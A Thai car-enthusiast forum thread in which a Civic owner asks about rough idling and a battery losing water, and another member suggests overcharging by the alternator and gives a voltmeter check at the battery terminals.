       เปิดฝากระโปรง เช็กแบต  อ้าว เฮ้ย  น้ำทุกช่อง  ลดลง  ต้องหมั่นเติม  แบตก็พึ่งเปลี่ยนมาแค่ปีเดียว คิดแล้วไม่น่าเป็นที่แบต  เลยไปลองล้างลิ้นปีกผีเสื้อ ก็ยังพบอาการ วูบๆ เกือบดับ  ต้องกด ปุ่ม A/C  เพื่อตัดระบบแอร์  เครื่องก็นิ่งขึ้น   ผมกำลังสงสัยอยู่ เหตเพราะ ไดร์ชาร์จ  ไป แล้วหรือเปล่า  รึยังไง  กูรู ชี้แนะหน่อยครับ  ตอนนี้ เสมือนว่า รถผม กำลังใช้ไฟ จากแบตเตอร์ รี่  อย่างเดียว  ไดร์ชาร์จ ไม่ชาร์จไฟ เข้าแบต  แบตจึง กินน้ำกลั่นมากกว่าปกติ  เปิดฝากระโปรงทีไร นี่ มีไอออกจากรู ทุกรูเลยครับผม  ชี้แนะหน่อยครับผม  ว่า แก้ตรงไหนดี


 
ได้รับคำขอบคุณจาก: athongchum 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 16 พฤษภาคม 2014 21:48 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
WarHighways พิมพ์ว่า:
 ตอนนี้ รถผม ก็มีอาการ แบบนี้หล่ะครับ   ติดไฟแดง บางครั้ง รอบเดินเบา อยู่ก็วูบ ไปเฉยๆ  เกือบดับ  แต่ก็ไม่ดับ

       เปิดฝากระโปรง เช็กแบต  อ้าว เฮ้ย  น้ำทุกช่อง  ลดลง  ต้องหมั่นเติม  แบตก็พึ่งเปลี่ยนมาแค่ปีเดียว คิดแล้วไม่น่าเป็นที่แบต  เลยไปลองล้างลิ้นปีกผีเสื้อ ก็ยังพบอาการ วูบๆ เกือบดับ  ต้องกด ปุ่ม A/C  เพื่อตัดระบบแอร์  เครื่องก็นิ่งขึ้น   ผมกำลังสงสัยอยู่ เหตเพราะ ไดร์ชาร์จ  ไป แล้วหรือเปล่า  รึยังไง  กูรู ชี้แนะหน่อยครับ  ตอนนี้ เสมือนว่า รถผม กำลังใช้ไฟ จากแบตเตอร์ รี่  อย่างเดียว  ไดร์ชาร์จ ไม่ชาร์จไฟ เข้าแบต  แบตจึง กินน้ำกลั่นมากกว่าปกติ  เปิดฝากระโปรงทีไร นี่ มีไอออกจากรู ทุกรูเลยครับผม  ชี้แนะหน่อยครับผม  ว่า แก้ตรงไหนดี


 



อาการนี้คิดว่าน้ำกลั่นลดเพราะแบตเดือดจนกลายเป็นไอ ที่แบตเดือดน่าจะเป็นเพราะชาร์ทไฟเกิน

ถ้าไดร์ไม่ชาร์ท ใช้แต่ไฟจากแบต รถวิ่งอยู่ได้ไม่น่าเกิน 20 กิโล

วิธีเช็ค ใส่เกียร์จอด ดึงเบรคมือ สตาร์ทรถ เอามิเตอร์วัดโวลต์ที่ขั้วแบต เร่งรอบเครื่องยนต์ขึ้นไปเรื่อยๆ แรงดันจะต้องไม่เกิน 14.5 โวลต์ รอบเดินเบาไม่ต่ำกว่า 11.5 โวลต์ อยู่ในย่านนี้ถือว่าปกติ น้อยกว่าหรือมากกว่าย่ายนี้ผิดปกติ
ได้รับคำขอบคุณจาก: WarHighways 
ตอบ
หน้า 1 จาก 1
ไปที่: 
ติดต่อโฆษณา admin@civicesgroup.com
Copyright © 2008-2025 Civic ES Group. All rights reserved.